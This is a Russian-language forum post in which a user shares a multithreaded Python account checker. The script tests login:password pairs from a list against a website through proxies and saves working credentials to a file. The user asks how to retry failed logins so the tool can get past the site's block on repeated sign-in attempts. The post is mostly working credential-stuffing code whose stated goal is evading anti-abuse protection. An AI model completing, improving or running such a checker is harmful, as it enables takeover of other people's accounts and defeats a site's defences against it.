Загрузка...

Как повторить вход 2 раза [PYTHON]

Тема в разделе Python создана пользователем Ak12Wf 11 май 2020. 106 просмотров

  1. Ak12Wf
    Ak12Wf Автор темы 11 май 2020 0 1 май 2020
    Короче говоря на сайте тип такая защита если много раз попытаться войти на разные аккаунты тип "блокирует вход" но всё просто надо просто входить ещё раз по той же сессии мой скрипт

    Код
    import requests
    import random
    import threading
    from lxml import html

    accs = list(set(open("base.txt", encoding="utf-8").read().split('\n')))
    def check():
    while accs:
    acc = random.choice(accs)
    login = acc.split(":")[0]
    password = acc.split(":")[1]
    while True:
    try:
    ses = requests.Session()
    ses.get("http://site.ru/?sign_in=1", proxies=proxies)
    data = {"login": login, "pass": password}
    login_req = ses.post("http://site.ru/", data=data, proxies=proxies)
    html.fromstring(login_req.content)
    if "Настройки" in login_req.text:
    open("Good.txt", "a", encoding="utf-8").write("{}:{}\n".format(login, password))
    print("{}:{} - Успешно авторизован!".format(login, password))
    break
    elif "Ошибка авторизации, логин или пароль введены неверно!" in login_req.text:
    print("{}:{} - Ошибка авторизации!".format(login, password))
    break
    else:
    print(login_req.text)
    except Exception as e:
    print(e)

    shift = int(input("Количество поток(1 - 150) : "))
    for i in range (shift):
    thread = threading.Thread(target=check)
    thread.start()
    Как сделать так что бы он ещё раз пробовал войти если увидит эту ошибку Ошибка авторизации, логин или пароль введены неверно!
    Если уже и второй раз так что бы пропустил и забил хрен на него ( можно и удалить )
     
Top
Загрузка...